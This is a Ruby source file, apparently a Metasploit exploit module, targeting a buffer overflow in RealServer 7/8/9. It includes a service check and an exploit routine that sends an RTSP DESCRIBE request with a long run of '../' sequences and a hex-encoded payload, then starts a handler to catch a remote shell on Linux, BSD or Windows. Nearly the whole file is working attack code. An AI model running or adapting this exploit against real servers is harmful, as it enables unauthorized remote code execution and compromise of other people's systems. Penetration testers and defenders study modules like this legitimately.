79 lines
1.8 KiB
Ruby
79 lines
1.8 KiB
Ruby
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require 'msf/core'
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require 'msf/core/exploit/http'
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module Msf
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class Exploits::Multi::Realserver::Describe < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealServer Describe Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in RealServer 7/8/9
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and was based on Johnny Cyberpunk's THCrealbad exploit. This
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code should reliably exploit Linux, BSD, and Windows-based
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servers.
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},
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'Author' => 'hdm',
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'Version' => '$Revision: 3110 $',
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'References' =>
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[
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[ 'OSVDB', '4468'],
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[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],
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[ 'MIL', '51'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d",
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},
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'Targets' =>
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[
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[
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'Universal',
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{
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'Platform' => [ 'linux', 'bsd', 'win' ]
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},
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],
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],
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'DisclosureDate' => 'Dec 20 2002',
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'DefaultTarget' => 0))
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end
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def check
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response = request(
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'method' => 'OPTIONS',
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'proto' => 'RTSP/1.0',
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'uri' => '/')
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if response and response['Server']
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print_status("Found RTSP: #{response['Server']}")
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("RealServer universal exploit launched against #{rhost}")
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print_status("Kill the master rmserver pid to prevent shell disconnect")
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encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }
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request(
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'method' => 'DESCRIBE',
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'proto' => 'RTSP/1.0',
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'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi")
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handler
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end
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end
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end
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